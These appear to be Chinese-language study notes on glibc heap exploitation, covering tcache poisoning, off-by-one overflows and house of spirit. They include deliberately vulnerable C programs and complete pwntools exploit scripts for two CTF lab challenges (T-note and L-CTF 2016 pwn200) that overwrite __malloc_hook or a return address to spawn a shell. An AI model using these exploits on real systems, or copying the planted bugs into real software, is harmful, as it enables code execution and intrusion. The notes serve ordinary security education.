![](https://i.imgur.com/IeeIkSU.png) * 結果 ![](https://i.imgur.com/rzXzlXg.png) ### Example -- tcache_poisoning * [source](https://github.com/andigena/ptmalloc-fanzine/blob/master/05-tcache/tcache_poisoning.c) * source code ```clike= #include <malloc.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; size_t *chunksizep(void *mem) { return (size_t *)(((char *)mem) - sizeof(size_t)); } int main(int argc, const char* argv[]) { size_t target[6]; printf("This example showcases tcache poisoning by forcing malloc to " \ "return an arbitrary chunk after the corruption of a tcache_entry\n"); printf("Our target is a stack region at %p\n", (void *)target); void *mem = malloc(0x48); tcache_entry *victim = (tcache_entry *)mem; printf("Allocated victim chunk with requested size 0x48 at %p\n", mem); free(mem); printf("Freed victim chunk to put it in a tcache bin\n"); printf("Emulating corruption of the next ptr of victim (while also " \ "corrupting its size for good measure)\n"); *chunksizep(mem) = 0x41414141; victim->next = (void *)target; printf("Now we need to make two requests for the appropriate size " \ "so that malloc returns a chunk overlapping our target\n"); void *mem1 = malloc(0x48); void *mem2 = malloc(0x48); printf("The first malloc(0x48) returned %p, the second one: %p\n", mem1, mem2); return 0; } ``` * 原理 * 因為tcache在取出時不會做任何檢查所以如果fd的欄位被寫掉在下次要相同大小時tcache會直接給那個位置的記憶體所以造成任意記憶體位置的寫入 * 對fd欄位改寫後tcache就認為還有下一塊 ![](https://i.imgur.com/sXeynhV.png) * 結果 做一次malloc把前面那塊取走後再做一次malloc就能拿到想控的記憶體位置 ![](https://i.imgur.com/Dhij1CP.png) ### Practice -- NTU computer security [Lab]T-note ![](https://i.imgur.com/QoIoIvn.png) * 保護機制 ![](https://i.imgur.com/0xHVvOe.png) * source code ```clike= #include<stdio.h> #include<stdlib.h> #include<fcntl.h> #include <stdint.h> #define MAX 10 void init(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); setvbuf(stderr,0,2,0); } uint64_t read_long(){ char buf[0x10]; __read_chk( 0 , buf , 0xf , 0x10 ); return atol( buf ); } char* notes[MAX]; void add(){ for( int i = 0 ; i < MAX ; ++i ){ if( !notes[i] ){ printf( "Size: " ); uint64_t size = read_long(); notes[i] = malloc( size ); printf( "Note: " ); read( 0 , notes[i] , size - 1 ); puts( "Done!" ); return; } } puts( "Full!" ); } void show(){ printf( "Which note do you want to show?\nIndex: " ); uint64_t idx = read_long(); if( idx >= MAX ){ puts( "Invalid index." ); return; } if( notes[idx] ){ printf( "Note %d:\n%s\n" , idx , notes[idx] ); } else{ puts( "No such note!" ); } } void delete(){ printf( "Which note do you want to delete?\nIndex: " ); uint64_t idx = read_long(); if( idx >= MAX ){ puts( "Invalid index." ); return; } if( notes[idx] ){ free( notes[idx] ); // dangling pointer, vulnerable! // notes[idx] = NULL; // The proper way } else{ puts( "No such note!" ); } } void menu(){ puts( "1. Add a note" ); puts( "2. Show a note" ); puts( "3. Delete a note" ); puts( "4. Exit" ); puts( "> " ); } int main(){ init(); while(1){ menu(); uint64_t n = read_long(); switch( n ){ case 1: add(); break; case 2: show(); break; case 3: delete(); break; default: puts( "Invalid choice." ); break; } } return 0; } ``` * 漏洞 * delete後pointer沒有清成null所以形成dangling pointer * tcache安全檢查鬆散造成heap exploit * 解法 1. 必須先leak出base address因為delete後沒有清空所以可以做到 3. 沒有tcache之前只要不是fastbin就會放到unsorted bin所以free之後會有libc的位置在那塊chunk上但是因為tcache的關係所以必須要是large bin的大小才不會進到tcache 4. 所以先malloc一塊0x410大小free掉不會進tcache的 5. 為了避免一開始malloc的那塊被free掉後和top chunk合併所以要再多malloc一塊再做free這塊大小可以進tcache就好了之後可以直接拿來用 6. free掉一開始那塊再用show把libc的位置leak出來 7. 接著把後來malloc那塊連續delete兩次讓他近兩次tcache 8. 把delete掉的那塊從tcache裡取出來寫上__malloc_hook的位置 9. 再做一次add會再取出同一塊但這塊不重要接著再做一次add就能拿到__malloc_hook了 10. 這邊跟fastbin attack不同的地方在於fastbin會取到chunk header的位置tcache是取到data的位置所以不用像fastbin attack一樣扣掉0x10就能直接寫了 11. 寫上system之後再malloc一次size傳入/bin/sh的位置就能開shell了 ```python= from pwn import * p = process('./t-note') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, note): p.sendlineafter('>', '1') p.sendlineafter(': ', str(size)) p.sendlineafter(': ', note) def show(index): p.sendlineafter('>', '2') p.sendlineafter(': ', str(index)) def delete(index): p.sendlineafter('>', '3') p.sendlineafter(': ', str(index)) add(0x410, 'aaaa') add(0x40, 'aaaa') delete(0) show(0) p.recvuntil('0:\n') base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0 success('libc base = 0x%x', base) malloc_hook = base + libc.symbols['__malloc_hook'] success('__malloc_hook = 0x%x', malloc_hook) system = base + libc.symbols['system'] sh = base + next(libc.search(b'/bin/sh\x00')) delete(1) delete(1) add(0x40, p64(malloc_hook)) add(0x40, 'aaaa') add(0x40, p64(system)) p.sendlineafter('>', '1') p.sendlineafter(':', str(sh)) p.interactive() ``` ## Off-By-One ### 漏洞原理 * 因為沒有做好邊界檢查導致有1個byte的overflow進而修改到其他資料 * 在heap中可能會改到pre_size或是size ### Example -- overflow prev_size ```clike= #include<stdio.h> int my_gets(char *ptr,int size) { int i; for(i=0;i<=size;i++) { ptr[i]=getchar(); } return i; } int main() { void *chunk1,*chunk2; chunk1=malloc(16); chunk2=malloc(16); puts("Get Input:"); my_gets(chunk1,16); return 0; } ``` * 在my_get中做了size+1次getchar()導致導致有一個byte的字元蓋到第二塊chunk的prev_size ![](https://i.imgur.com/fbNy5EE.png) ### Example -- overflow size ```clike= #include<stdio.h> int main() { char buffer[40]=""; void *chunk1; chunk1=malloc(24); puts("Get Input"); gets(buffer); if(strlen(buffer)==24) { strcpy(chunk1,buffer); } return 0; } ``` * 因為strlen只會算到\x00前面有多少字元但是strcpy會複製包含\x00全部的字元所以會複製25byte的字元最後就把下一塊chunk的size部分覆蓋成00了 * before strcpy ![](https://i.imgur.com/fJ7D9hz.png) * after strcpy ![](https://i.imgur.com/sDkwRBk.png) ## House of Spirit * 環境 ``` Ubuntu 16.04 libc version 2.23 ``` ### 攻擊手法 * 在任何可控的地方偽造假的chunk讓之後把這塊free掉再malloc跟偽造的size一樣的大小就能拿到那塊chunk ![](https://i.imgur.com/2vBIc4w.png) ### Example * [source](https://heap-exploitation.dhavalkapil.com/assets/files/house_of_spirit.c) ```clike= #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim; ptr = malloc(0x30); printf("%p\n", &fake_chunks[0]); printf("%p\n", &fake_chunks[1]); // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // Attacker overwrites a pointer that is about to be 'freed' ptr = (void *)&fake_chunks[0].fd; free(ptr); victim = malloc(0x30); printf("%p\n", victim); return 0; } ``` * 在stack上偽造兩塊大小是0x40的chunk然後malloc一塊0x40大小的chunk * 想辦法把指向malloc出來的pointer指向偽造的chunk接著把他free就會被放到fastbin裡面 * 再malloc一塊0x30就會拿到偽造的那塊chunk * 結果 ![](https://i.imgur.com/mBNRt67.png) ### Example -- house of spirit in tcache * 環境 ``` ubuntu 18.04 libc version 2.27 ``` * source code ```clike= #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; int main() { struct fast_chunk fake_chunks; // Two chunks in consecutive memory void *ptr, *victim; ptr = malloc(0x40); printf("fake chunk = %p\n", &fake_chunks); // Passes size check of "free(): invalid size" fake_chunks.size = 0x50; // Attacker overwrites a pointer that is about to be 'freed' ptr = (void *)&fake_chunks.fd; free(ptr); victim = malloc(0x40); printf("malloc chunk = %p\n", victim); return 0; } ``` * tcache檢查比fastbin更鬆散只要size設好free掉就會被放進tcache * 偽造0x7fffffffde78為tcache的size ![](https://i.imgur.com/1J7WYbF.png) * free掉之後0x7fffffffde80就進tcache了 ![](https://i.imgur.com/2I9sFFA.png) * 再malloc之後就能拿到0x7fffffffde80這塊 ![](https://i.imgur.com/0FVgMWO.png) ### Practice -- L-CTF 2016 pwn200 [source](https://drive.google.com/file/d/1nE836TiC9T3c9A0ltQ5-CHpTXOIVsKWg/view?usp=sharing) * 漏洞 * 在sub_400A8E讀取使用者名稱時會讀48個byte而v2到rbp剛好48byte而且printf("%s")會一直輸出直到\x00所以如果填滿48byte可以把rbp的位置leak出來 ![](https://i.imgur.com/OW5fgfX.png) * 在sub_400A29的地方會讀0x40個byte這邊可以剛好寫到\*dest再搭配strcpy就可以做到任意位置寫入 ![](https://i.imgur.com/cMN8tgk.png) * 解法 1. 一開始先leak出rbp位置這樣就可以知道寫進去的資料在stack上的位置 2. 接著偽造一個fastbin大小的chunk然後把ptr的指標改到這個偽造的chunk這樣free就會試偽造的chunk 3. malloc一塊跟偽造的chunk一樣大小的chunk裡面可以複寫到return address把它寫成shellcode的位置這樣return就會跑到shellcode上執行 ```python= from pwn import * context.arch = 'amd64' p = process('./pwn200') def checkin(size, msg): p.sendlineafter('choice : ', '1') p.sendlineafter('how long?', str(size)) p.sendafter('give me more money :', msg) def checkout(): p.sendlineafter('choice : ', '2') def bye(): p.sendlineafter('choice : ', '3') # leak RBP shellcode = asm(shellcraft.sh()) payload = shellcode + b'a'*(48-len(shellcode)) p.recvuntil('who are u?\n') p.send(payload) p.recvuntil(payload) rbp = u64(p.recv(6).ljust(8, b'\x00')) success('RBP = 0x%x', rbp) shellcode_addr = rbp - 0x50 # 0x400A92 sub rsp, 0x50 to store local variable and the start address of the buf is on rbp - 0x50 fake_addr = rbp - 0x90 # because fake chunk is on rbp - 0x90 p.recvuntil('give me your id ~~?\n') p.sendline('32') payload = p64(0) * 4 # use \x00 to prevent strcpy payload += p64(0) + p64(0x41) # prev_size + size payload = payload.ljust(56, b'a') # padding payload += p64(fake_addr) # overwrite the *dest p.recvuntil('give me money~\n') p.send(payload) checkout() # free the fake chunk payload = b'a'*0x18 # padding payload += p64(shellcode_addr) # overwrite return address payload = payload.ljust(48, b'\x00') checkin(48, payload) bye() p.interactive() ```